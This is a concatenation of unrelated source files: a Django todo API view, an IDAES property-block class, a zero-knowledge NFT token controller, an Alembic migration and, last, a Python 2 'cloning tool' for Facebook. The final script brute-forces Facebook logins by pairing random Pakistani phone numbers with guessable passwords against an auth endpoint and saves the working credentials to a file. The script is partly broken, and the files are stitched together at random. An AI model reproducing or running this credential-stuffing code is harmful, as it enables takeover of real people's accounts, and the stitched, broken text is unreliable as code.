class TodoRetrieveUpdateDestroy(generics.RetrieveUpdateDestroyAPIView):
serializer_class = TodoSerializer
permission_classes = [permissions.IsAuthenticated]
def get_queryset(self):
user = self.request.user
return Todo.objects.filter(user=user)
class TodoComplete(generics.UpdateAPIView):
serializer_class = TodoCompleteSerializer
permission_classes = [permissions.IsAuthenticated]
def get_queryset(self):
user = self.request.user
return Todo.objects.filter(user=user)
def perform_update(self, serializer):
serializer.instance.datecompleted = timezone.now()
serializer.save()
|
#################################################################################
# The Institute for the Design of Advanced Energy Systems Integrated Platform
# Framework (IDAES IP) was produced under the DOE Institute for the
# Design of Advanced Energy Systems (IDAES), and is copyright (c) 2018-2021
# by the software owners: The Regents of the University of California, through
# Lawrence Berkeley National Laboratory, National Technology & Engineering
# Solutions of Sandia, LLC, Carnegie Mellon University, West Virginia University
# Research Corporation, et al. All rights reserved.
#
# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and
# license information.
#################################################################################
from idaes.core.property_base import PhysicalParameterBlock
from pyomo.environ import units as pyunits
class IndexMePlease1(PhysicalParameterBlock):
@classmethod
def define_metadata(cls, m):
m.add_default_units({'temperature': pyunits.K,
'time': pyunits.s,
'length': pyunits.m,
'mass': pyunits.kg,
'amount': pyunits.mol})
m.add_properties({'pressure': {'units': 'Pa', 'method': 'foo'},
'temperature': {'method': 'bar'}})
|
/**
This module acts as a layer of logic between the index.js, which lands the
rest api calls, and the heavy-lifitng token-zkp.js and zokrates.js. It exists so that the amount of logic in restapi.js is absolutely minimised.
@module token-controller.js
@author westlad, Chaitanya-Konda, iAmMichaelConnor
*/
/* eslint-disable camelcase */
import Web3 from 'web3';
import contract from 'truffle-contract';
import jsonfile from 'jsonfile';
import Utils from 'zkp-utils';
import Config from './config';
import zkp from './nf-token-zkp';
import zokrates from './zokrates';
import cv from './compute-vectors';
import Element from './Element';
const utils = Utils('/app/config/stats.json');
const config = Config.getProps();
const web3 = new Web3(
Web3.givenProvider ||
new Web3.providers.HttpProvider(`${config.zkp.rpc.host}:${config.zkp.rpc.port}`),
);
const NFTokenShield = contract(jsonfile.readFileSync('./build/contracts/NFTokenShield.json'));
NFTokenShield.setProvider(web3.currentProvider);
const Verifier_Registry = contract(
jsonfile.readFileSync('./build/contracts/Verifier_Registry.json'),
);
Verifier_Registry.setProvider(web3.currentProvider);
const Verifier = contract(jsonfile.readFileSync('./build/contracts/GM17_v0.json'));
Verifier.setProvider(web3.currentProvider);
const NFTokenMetadata = contract(jsonfile.readFileSync('./build/contracts/NFTokenMetadata.json'));
NFTokenMetadata.setProvider(web3.currentProvider);
let container;
const shield = {}; // this field holds the current Shield contract instance.
/**
This function allocates a specific NFTokenShield contract to a particular user
(or, more accurately, a particular Ethereum address)
@param {string} shieldAddress - the address of the shield contract you want to point to
@param {string} address - the Ethereum address of the user to whom this shieldAddress will apply
*/
async function setShield(shieldAddress, address) {
if (shieldAddress === undefined) shield[address] = await NFTokenShield.deployed();
else shield[address] = await NFTokenShield.at(shieldAddress);
}
function unSetShield(address) {
delete shield[address];
}
/**
return the address of the shield contract
*/
async function getShieldAddress(account) {
const nfTokenShield = shield[account] ? shield[account] : await NFTokenShield.deployed();
return nfTokenShield.address;
}
/**
return the name of the ERC-721 tokens
*/
async function getNFTName(address) {
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.name.call();
}
/**
return the symbol of the ERC-721 tokens
*/
async function getNFTSymbol(address) {
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.symbol.call();
}
/**
return the address of the ERC-721 token
*/
async function getNFTAddress(address) {
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
return nfTokenShield.getNFToken.call();
}
/**
return the symbol of the ERC-721 tokens
*/
async function getNFTURI(tokenID, address) {
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.tokenURI.call(tokenID);
}
/**
return the number of tokens held by an account
*/
async function getBalance(address) {
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.balanceOf.call(address);
}
/**
return the number of tokens held by an account
*/
async function getOwner(tokenID, address) {
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.ownerOf.call(tokenID);
}
/**
create an ERC-721 Token in the account that calls the function
*/
async function mintNFToken(tokenID, tokenURI, address) {
console.log('Minting NF Token', tokenID, address);
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.mint(tokenID, tokenURI, {
from: address,
gas: 4000000,
});
}
/**
Transfer ERC-721 Token from the owner's account to another account
*/
async function transferNFToken(tokenID, fromAddress, toAddress) {
console.log(`Transferring NF Token ${tokenID}from ${fromAddress}to ${toAddress}`);
const nfTokenShield = shield[fromAddress] ? shield[fromAddress] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.safeTransferFrom(fromAddress, toAddress, tokenID, {
from: fromAddress,
gas: 4000000,
});
}
/**
create an ERC-721 Token in the account that calls the function
*/
async function burnNFToken(tokenID, address) {
console.log('Burning NF Token', tokenID, address);
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.burn(tokenID, {
from: address,
gas: 4000000,
});
}
/**
Add an approver for an ERC-721 Token
*/
async function addApproverNFToken(approved, tokenID, address) {
console.log('Adding Approver for an NF Token', approved, tokenID, address);
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.approve(approved, tokenID, {
from: address,
gas: 4000000,
});
}
/**
Get an approver for an ERC-721 Token
*/
async function getApproved(tokenID, address) {
console.log('Getting Approver for an NF Token', tokenID);
const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();
const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());
return nfToken.getApproved.call(tokenID);
}
/**
This function needs to be run *before* computing any proofs in order to deploy
the necessary code to the docker container, after instantiating the same. It
will be called automatically by computeProof if it detects tha there is no container
being instantiated.
@param {string} tar - the tar file containing all the code needed to compute the proof
*/
async function setupComputeProof(hostDir) {
container = await zokrates.runContainerMounted(hostDir);
console.log(`Container id: ${container.id}`);
console.log(`To connect to the container manually: 'docker exec -ti ${container.id} bash'`);
}
/**
This function computes a proof that you own a token, using as few parameters
as possible. If you haven't yet deployed the code to the docker container to
enable this computation, this routine will call setupComputeProof to do that for
you.
@param {array} elements - array containing all of the token commitment parameters the proof needs
@param {string} tar - the tar file containing all the code needed to compute the proof
@returns {object} proof
*/
async function computeProof(elements, hostDir, proofDescription) {
if (container === undefined || container === null) await setupComputeProof(hostDir);
let timeEst;
let startTime;
let endTime;
let duration;
if (proofDescription) {
timeEst = await utils.getTimeEst(proofDescription, 'computeWitness');
startTime = new Date();
setTimeout(() => {
utils.progressBar(timeEst);
}, 1000);
}
await zokrates.computeWitness(container, cv.computeVectors(elements), hostDir);
if (proofDescription) {
await utils.stopProgressBar();
endTime = new Date();
duration = endTime - startTime;
utils.updateTimeEst(proofDescription, 'computeWitness', duration);
}
if (proofDescription) {
timeEst = await utils.getTimeEst(proofDescription, 'generateProof');
startTime = new Date();
setTimeout(() => {
utils.progressBar(timeEst);
}, 1000);
}
const proof = await zokrates.generateProof(container, undefined, hostDir);
if (proofDescription) {
await utils.stopProgressBar();
endTime = new Date();
duration = endTime - startTime;
utils.updateTimeEst(proofDescription, 'generateProof', duration);
}
console.group(`Proof: ${JSON.stringify(proof, undefined, 2)}`);
console.groupEnd();
zokrates.killContainer(container);
container = null; // clear out the container for the next run
return proof;
}
/**
Mint a token
@param {string} S_A - Alice's token serial number as a hex string
@param {string} pk_A - Alice's public key
@param {string} A - the asset token
@param {string} account - the account from which the payment for the coin will be made
@returns {string} z_A - The token
This is a convenience because the sender (Alice)
knows S_A,pk_A,n and n so could in fact calculate the token themselves.
@returns {Integer} z_A_index - the index of the token within the Merkle Tree. This is required for later transfers/joins so that Alice knows which 'chunks' of the Merkle Tree she needs to 'get' from the NFTokenShield contract in order to calculate a path.
*/
async function mint(A, pk_A, S_A, account) {
console.group('\nIN MINT...');
console.info('Finding the relevant Shield and Verifier contracts...');
const nfTokenShield = shield[account] ? shield[account] : await NFTokenShield.deployed();
const verifier = await Verifier.deployed();
const verifier_registry = await Verifier_Registry.deployed();
console.log('NFTokenShield contract address:', nfTokenShield.address);
console.log('Verifier contract address:', verifier.address);
console.log('Verifier_Registry contract address:', verifier_registry.address);
// get the vkId for a Mint
console.log('Reading vkIds from json file...');
const vkIds = await new Promise((resolve, reject) =>
jsonfile.readFile(config.VK_IDS, (err, data) => {
// doesn't natively support promises
if (err) reject(err);
else resolve(data);
}),
);
const { vkId } = vkIds.MintToken;
// Calculate new arguments for the proof:
const z_A = utils.recursiveHashConcat(utils.strip0x(A).slice(-config.HASHLENGTH * 2), pk_A, S_A);
// Summarise values in the console:
console.group('Existing Proof Variables:');
const p = config.ZOKRATES_PACKING_SIZE;
const pt = Math.ceil((config.HASHLENGTH * 8) / config.ZOKRATES_PACKING_SIZE);
console.log('A: ', A, ' : ', utils.hexToFieldPreserve(A, p, pt));
console.log('pk_A: ', pk_A, ' : ', utils.hexToFieldPreserve(pk_A, p, pt));
console.log('S_A: ', S_A, ' : ', utils.hexToFieldPreserve(S_A, p, pt));
console.groupEnd();
console.group('New Proof Variables:');
console.log('z_A: ', z_A, ' : ', utils.hexToFieldPreserve(z_A, p, pt));
console.groupEnd();
const inputs = cv.computeVectors([new Element(A, 'field'), new Element(z_A, 'field')]);
console.log('inputs:');
console.log(inputs);
// get the pwd so we can talk to the container:
const pwd = process.env.PWD.toString();
console.log(pwd);
const hostDir = config.NFT_MINT_DIR;
console.log(hostDir);
// compute the proof
console.group('Computing proof with w=[A,pk_A,S_A] x=[d,z_A,1]');
let proof = await computeProof(
[
new Element(A, 'field'),
new Element(pk_A, 'field'),
new Element(S_A, 'field'),
new Element(z_A, 'field'),
],
hostDir,
'MintToken',
);
proof = Object.values(proof);
// convert to flattened array:
proof = utils.flattenDeep(proof);
// convert to decimal, as the solidity functions expect uints
proof = proof.map(el => utils.hexToDec(el));
console.groupEnd();
// CHECK!!!!
const registry = await verifier.getRegistry();
console.log('Check that a registry has actually been registered:', registry);
// make token shield contract an approver to transfer this token on behalf of the owner
// (to comply with the standard as msg.sender has to be owner or approver)
await addApproverNFToken(nfTokenShield.address, A, account);
// with the pre-compute done we can mint the token, which is now a reasonably
// light-weight calculation
const z_A_index = await zkp.mint(proof, inputs, vkId, account, nfTokenShield);
console.log('Mint output: [z_A, z_A_index]:', z_A, z_A_index.toString());
console.log('MINT COMPLETE\n');
console.groupEnd();
return [z_A, z_A_index];
}
/**
This function actually transfers a token, assuming that we have a proof.
@param {string} S_A - Alice's token commitment's serial number as a hex string
@param {string} S_B - Bob's token commitment's serial number as a hex string
@param {string} A - the token's unique id (this is a full 256 bits)
@param {string} pk_B - Bob's public key
@param {string} sk_A - Alice's private key
@param {string} z_A - Alice's token commitment (commitment)
@param {Integer} z_A_index - the position of z_A in the on-chain Merkle Tree
@param {string} account - the account that is paying for this
@returns {string} z_B - The token
@returns {Integer} z_B_index - the index of the token within the Merkle Tree. This is required for later transfers/joins so that Alice knows which 'chunks' of the Merkle Tree she needs to 'get' from the NFTokenShield contract in order to calculate a path.
@returns {object} txObj - a promise of a blockchain transaction
*/
async function transfer(A, pk_B, S_A, S_B, sk_A, z_A, z_A_index, account) {
console.group('\nIN TRANSFER...');
console.log('Finding the relevant Shield and Verifier contracts');
const nfTokenShield = shield[account] ? shield[account] : await NFTokenShield.deployed();
const verifier = await Verifier.at(await nfTokenShield.getVerifier.call());
const verifier_registry = await Verifier_Registry.at(await verifier.getRegistry.call());
console.log('NFTokenShield contract address:', nfTokenShield.address);
console.log('Verifier contract address:', verifier.address);
console.log('Verifier_Registry contract address:', verifier_registry.address);
// get the Transfer vkId
console.log('Reading vkIds from json file...');
const vkIds = await new Promise((resolve, reject) =>
jsonfile.readFile(config.VK_IDS, (err, data) => {
// doesn't natively support promises
if (err) reject(err);
else resolve(data);
}),
);
const { vkId } = vkIds.TransferToken;
// Get token data from the Shield contract:
const root = await nfTokenShield.latestRoot(); // solidity getter for the public variable latestRoot
console.log(`Merkle Root: ${root}`);
// Calculate new arguments for the proof:
const n = utils.recursiveHashConcat(S_A, sk_A);
if (n !== utils.hashConcat(S_A, sk_A))
throw new Error("hashConcat and recursiveHashConcat didn't agree");
const z_B = utils.recursiveHashConcat(utils.strip0x(A).slice(-config.HASHLENGTH * 2), pk_B, S_B);
// we need the Merkle path from the token commitment to the root, expressed as Elements
const path = await cv.computePath(account, nfTokenShield, z_A, z_A_index).then(result => {
return {
elements: result.path.map(element => new Element(element, 'field', 2)),
positions: new Element(result.positions, 'field', 1),
};
});
// check the path and root match:
if (path.elements[0].hex !== root) {
throw new Error(`Root inequality: sister-path[0]=${path.elements[0].hex} root=${root}`);
}
// Summarise values in the console:
console.group('Existing Proof Variables:');
const p = config.ZOKRATES_PACKING_SIZE;
const pt = Math.ceil((config.HASHLENGTH * 8) / config.ZOKRATES_PACKING_SIZE);
console.log('A: ', A, ' : ', utils.hexToFieldPreserve(A, p, pt));
console.log('S_A: ', S_A, ' : ', utils.hexToFieldPreserve(S_A, p, pt));
console.log('S_B: ', S_B, ' : ', utils.hexToFieldPreserve(S_B, p, pt));
console.log('sk_A: ', sk_A, ' : ', utils.hexToFieldPreserve(sk_A, p, pt));
console.log('pk_B: ', pk_B, ' : ', utils.hexToFieldPreserve(pk_B, p, pt));
console.log('z_A: ', z_A, ' : ', utils.hexToFieldPreserve(z_A, p, pt));
console.groupEnd();
console.group('New Proof Variables:');
console.log('n: ', n, ' : ', utils.hexToFieldPreserve(n, p, pt));
console.log('z_B: ', z_B, ' : ', utils.hexToFieldPreserve(z_B, p, pt));
console.log('root: ', root, ' : ', utils.hexToFieldPreserve(root, p, pt));
console.groupEnd();
const inputs = cv.computeVectors([
new Element(n, 'field'),
new Element(root, 'field'),
new Element(z_B, 'field'),
]);
console.log('inputs:');
console.log(inputs);
// get the pwd so we can talk to the container:
const pwd = process.env.PWD.toString();
console.log(pwd);
const hostDir = config.NFT_TRANSFER_DIR;
console.log(hostDir);
// compute the proof
console.group('Computing proof with w=[A,path[],pk_B,S_A,S_B,sk_A] x=[n,root,z_B,1]');
let proof = await computeProof(
[
new Element(A, 'field'),
...path.elements.slice(1),
path.positions,
new Element(n, 'field'),
new Element(pk_B, 'field'),
new Element(S_A, 'field'),
new Element(S_B, 'field'),
new Element(sk_A, 'field'),
path.elements[0],
new Element(z_B, 'field'),
],
hostDir,
'TransferToken',
);
proof = Object.values(proof);
// convert to flattened array:
proof = utils.flattenDeep(proof);
// convert to decimal, as the solidity functions expect uints
proof = proof.map(el => utils.hexToDec(el));
console.groupEnd();
// send the token to Bob by transforming the commitment
const [z_B_index, txObj] = await zkp.transfer(proof, inputs, vkId, account, nfTokenShield);
console.log('TRANSFER COMPLETE\n');
console.groupEnd();
return {
z_B,
z_B_index,
txObj,
};
}
/**
this function burns a token, i.e. it recovers real NF Token (ERC 721) into the
account specified by payTo
*/
async function burn(A, Sk_A, S_A, z_A, z_A_index, account, payTo) {
const payToOrDefault = payTo || account; // have the option to pay out to another address
console.group('\nIN BURN...');
console.log('A', A);
console.log('Sk_A', Sk_A);
console.log('S_A', S_A);
console.log('z_A', z_A);
console.log('z_A_index', z_A_index);
console.log('account', account);
console.log('payTo', payToOrDefault);
console.log('Finding the relevant Shield and Verifier contracts');
const nfTokenShield = shield[account] ? shield[account] : await NFTokenShield.deployed();
const verifier = await Verifier.deployed();
const verifier_registry = await Verifier_Registry.deployed();
console.log('NFTokenShield contract address:', nfTokenShield.address);
console.log('Verifier contract address:', verifier.address);
console.log('Verifier_Registry contract address:', verifier_registry.address);
// get the Burn vkId
console.log('Reading vkIds from json file...');
const vkIds = await new Promise((resolve, reject) =>
jsonfile.readFile(config.VK_IDS, (err, data) => {
// doesn't natively support promises
if (err) reject(err);
else resolve(data);
}),
);
const { vkId } = vkIds.BurnToken;
const root = await nfTokenShield.latestRoot(); // solidity getter for the public variable latestRoot
console.log(`Merkle Root: ${root}`);
// Calculate new arguments for the proof:
const Na = utils.recursiveHashConcat(S_A, Sk_A);
if (Na !== utils.hashConcat(S_A, Sk_A))
throw new Error("hashConcat and recursiveHashConcat didn't agree");
const Pk_A = utils.recursiveHashConcat(Sk_A);
const path = await cv.computePath(account, nfTokenShield, z_A, z_A_index).then(result => {
return {
elements: result.path.map(element => new Element(element, 'field', 2)),
positions: new Element(result.positions, 'field', 1),
};
});
// check the path and root match:
if (path.elements[0].hex !== root) {
throw new Error(`Root inequality: sister-path[0]=${path.elements[0].hex} root=${root}`);
}
// Summarise values in the console:
console.group('Existing Proof Variables:');
const p = config.ZOKRATES_PACKING_SIZE;
const pt = Math.ceil((config.HASHLENGTH * 8) / config.ZOKRATES_PACKING_SIZE);
console.log(`A: ${A} : ${utils.hexToFieldPreserve(A, p, pt)}`);
console.log(`sk_A: ${Sk_A} : ${utils.hexToFieldPreserve(Sk_A, p, pt)}`);
console.log(`Pk_A: ${Pk_A} : ${utils.hexToFieldPreserve(Pk_A, p, pt)}`);
console.log(`S_A: ${S_A} : ${utils.hexToFieldPreserve(S_A, p, pt)}`);
console.log(`z_A: ${z_A} : ${utils.hexToFieldPreserve(z_A, p, pt)}`);
console.log(`payTo: ${payToOrDefault} : ${utils.hexToFieldPreserve(payToOrDefault, p, pt)}`);
console.groupEnd();
console.group('New Proof Variables:');
console.log(`Na: ${Na} : ${utils.hexToFieldPreserve(Na, p, pt)}`);
console.log(`root: ${root} : ${utils.hexToFieldPreserve(root, p, pt)}`);
console.groupEnd();
const inputs = cv.computeVectors([
new Element(A, 'field'),
new Element(Na, 'field'),
new Element(root, 'field'),
]);
console.log('inputs:');
console.log(inputs);
// get the pwd so we can talk to the container:
const pwd = process.env.PWD.toString();
console.log(pwd);
const hostDir = config.NFT_BURN_DIR;
console.log(hostDir);
// compute the proof
console.group('Computing proof with w=[sk_A,S_A,path[],order] x=[A,Na,root,1]');
let proof = await computeProof(
[
new Element(A, 'field'),
new Element(Sk_A, 'field'),
new Element(S_A, 'field'),
...path.elements.slice(1),
path.positions,
new Element(Na, 'field'),
new Element(root, 'field'),
],
hostDir,
'BurnToken',
);
proof = Object.values(proof);
// convert to flattened array:
proof = utils.flattenDeep(proof);
// convert to decimal, as the solidity functions expect uints
proof = proof.map(el => utils.hexToDec(el));
console.groupEnd();
// with the pre-compute done we can burn the token, which is now a reasonably
// light-weight calculation
await zkp.burn(payToOrDefault, proof, inputs, vkId, account, nfTokenShield);
console.log('BURN COMPLETE\n');
console.groupEnd();
return { z_A };
}
async function checkCorrectness(A, pk, S, z, zIndex, account) {
const nfTokenShield = shield[account] ? shield[account] : await NFTokenShield.deployed();
const results = await zkp.checkCorrectness(A, pk, S, z, zIndex, nfTokenShield);
console.log('\nnf-token-controller', '\ncheckCorrectness', '\nresults', results);
return results;
}
export default {
setShield,
getNFTName,
getNFTSymbol,
getNFTAddress,
getNFTURI,
getBalance,
getOwner,
mintNFToken,
transferNFToken,
burnNFToken,
addApproverNFToken,
getApproved,
mint,
transfer,
burn,
computeProof,
setupComputeProof,
unSetShield,
checkCorrectness,
getShieldAddress,
};
|
"""add_table_lock
Revision ID: 0abf7b51469f
Revises: cae154d4dcb4
Create Date: 2021-09-27 19:34:14.920363
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '0abf7b51469f'
down_revision = 'cae154d4dcb4'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('lock',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('name', sa.String(), nullable=True),
sa.Column('is_lock', sa.Boolean(), nullable=True),
sa.Column('sync_date', sa.DateTime(), nullable=True),
sa.PrimaryKeyConstraint('id')
)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_table('lock')
# ### end Alembic commands ###
|
# Shahzaib143Muskan# Thuglife# Shahzaib143Muskan# Gamz#!/usr/bin/python2
#coding=utf-8
import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,getpass
os.system('rm -rf .txt')
for n in range(50000):
nmbr = random.randint(1111111, 9999999)
sys.stdout = open('.txt', 'a')
print(nmbr)
sys.stdout.flush()
try:
import requests
except ImportError:
os.system('pip2 install mechanize')
try:
import mechanize
except ImportError:
os.system('pip2 install request')
time.sleep(1)
os.system('Then type: python2 boss')
import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,requests,mechanize
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
br.addheaders = [('user-agent','Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z00AD;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]')]
def keluar():
print 'Thanks.'
os.sys.exit()
def acak(b):
w = 'ahtdzjc'
d = ''
for i in x:
d += '!'+w[random.randint(0,len(w)-1)]+i
return cetak(d)
def cetak(b):
w = 'ahtdzjc'
for i in w:
j = w.index(i)
x= x.replace('!%s'%i,'\033[%s;1m'%str(31+j))
x += '\033[0m'
x = x.replace('!0','\033[0m')
sys.stdout.write(x+'\n')
def jalan(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(00000.1)
def tik():
titik = [
' ', '. ', '.. ', '...', '.. ', '. ', ' ']
for o in titik:
print '\r\x1b[1;91m [⌛] \x1b[1;92mPLEASE\x1b[1;90mWAIT \x1b[1;97m' + o,
sys.stdout.flush()
time.sleep(0.5)
back = 0
oks = []
id = []
cpb = []
vulnot = "\033[31mNot Vuln"
vuln = "\033[32mVuln"
os.system("clear")
print"""
\033[3;90m CLONING TOOL
\033[1;97m❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖
\033[1;93m➾ DEVOLPER : Shahzaib143Muskan
\033[1;92m➾ COMMAND TYPE : WITHOUT LOGIN
\033[1;96m➾ WHATAAP : +923000069386
\033[1; 92m➾ NOTE : USE 4G FAST INTERNET
\033[1;95m➾ NOTE : NO NEED PROXY/VPN
\033[1;97m❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖
\033[1,98m ASLAAM O ALAIKUM
\033[3;90m CLONING TOOL
\033[1;97m❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖
\033[1;93m➾ DEVOLPER : Shahzaib143Muskan
\033[1;92m➾ COMMAND TYPE : WITHOUT LOGIN
\033[1;96m➾ WHATAAP : +923000069386
\033[1;92m➾ NOTE : USE 4G FAST INTERNET
\033[1;95m➾ NOTE : NO NEED PROXY/VPN
\033[1;97m❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖
"""
\033[1,94m❤️THIS COMMANDS ❤️
\033[1;97m❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖
\033[1;93m➾ DEVOLPER : Shahzaib143Muskan
\033[1;92m➾ COMMAND TYPE : WITHOUT LOGIN
\033[1;96m➾ WHATAAP : +923000069386
\033[1;92m➾ NOTE : USE 4G FAST INTERNET
\033[1;95m➾ NOTE : NO NEED PROXY/VPN
\033[1;97m❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖❖
"""
##### LICENSE #####
#=================#
def lisensi():
os.system('clear')
login()
####login#########
def login():
os.system('clear')
print logo1
print "\033[1;97mCHOOSE OPTION "
print "\033[1;97m[➊]\x1b[1;93mSTART\x1b[1;96m CRACKING "
time.sleep(0.05)
print '\x1b[1;97m[0]\033[1;91m Exit ( Back)'
pilih_login()
def pilih_login():
Shahzaib143Muskan= raw_input("\n\033[1;95m➢: \033[1;96m")
if Shahzaib143Muskan=="":
print "\x1b[1;97mFill In Correctly"
pilih_login()
elif ShahZaib143Muskan =="1":
tik()
Zeek()
def Zeek():
os.system('clear')
print logo1
print '\x1b[1;97m[➊] PAKISTAN '
time.sleep(0.10)
print '\x1b[1;94m[0] back'
time.sleep(0.05)
action()
def action():
Shahzaib143Muskan = raw_input('\n\033[1;93m➢\033[1;96m')
if Maani =='':
print '[!] Fill In Correctly'
action()
elif Maani =="1":
tik()
os.system("clear")
print logo1
print "\033[1;92mENTER ANY PAKISTAN NUMBER"+'\n \x1b[1;95m'
print '00 TO 49")'
try:
c = raw_input("\033[1;93m➢ : \033[1;96m")
k="+923"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
tik()
elif Shahzaib143Muskan=='0':
login()
else:
print '[!] Fill In Correctly'
action()
print 47* '\033[1;94m━'
xxx = str(len(id))
jalan ('[✔]\033[1;96m TOTAL IDS:\x1b[1;93m '+xxx)
jalan ("[❗]\033[1;93mTO STOP THIS PROCESS PRESS Ctrl THEN Z")
jalan ("[‼️]\033[1;94mPLEASE WAIT........")
print 47* '━'
def main(arg):
global cpb,oks
user = arg
try:
os.mkdir('save')
except OSError:
pass
try:
pass1 = user
data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;93m(Open \x1b[1;96mNow \x1b[1;92m ) ' + k + c + user + '\x1b[1;91m ● \x1b[1;95m' + pass1
okb = open('save/login.txt', 'a')
okb.write(k+c+user+pass1+'\n')
okb.close()
oks.append(c+user+pass1)
else:
if 'www.facebook.com' in q['error_msg']:
print '\033[1;92m(Aftar \x1b[1;97m7days \x1b[1;93m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;96m ' + pass1
cps = open('save/login.txt', 'a')
cps.write(k+c+user+pass1+'\n')
cps.close()
cpb.append(c+user+pass1)
else:
pass2 = k + c + user
data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;93m(Open \x1b[1;96mNow \x1b[1;92m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;95m' + pass2
okb = open('save/login.txt', 'a')
okb.write(k+c+user+pass2+'\n')
okb.close()
oks.append(c+user+pass2)
else:
if 'www.facebook.com' in q['error_msg']:
print '\033[1;92m(Aftar \x1b[1;97m7days \x1b[1;93m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;96m' + pass2
cps = open('save/login.txt', 'a')
cps.write(k+c+user+pass2+'\n')
cps.close()
cpb.append(c+user+pass2)
else:
pass3="pak786"
data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;93m(Open \x1b[1;96mNow \x1b[1;92m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;95m'+ pass3
okb = open('save/login.txt', 'a')
okb.write(k+c+user+pass3+'\n')
okb.close()
oks.append(c+user+pass3)
else:
if 'www.facebook.com' in q['error_msg']:
print '\033[1;92m(Aftar \x1b[1;97m7days \x1b[1;93m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;96m' + pass3
cps = open('save/login.txt', 'a')
cps.write(k+c+user+pass3+'\n')
cps.close()
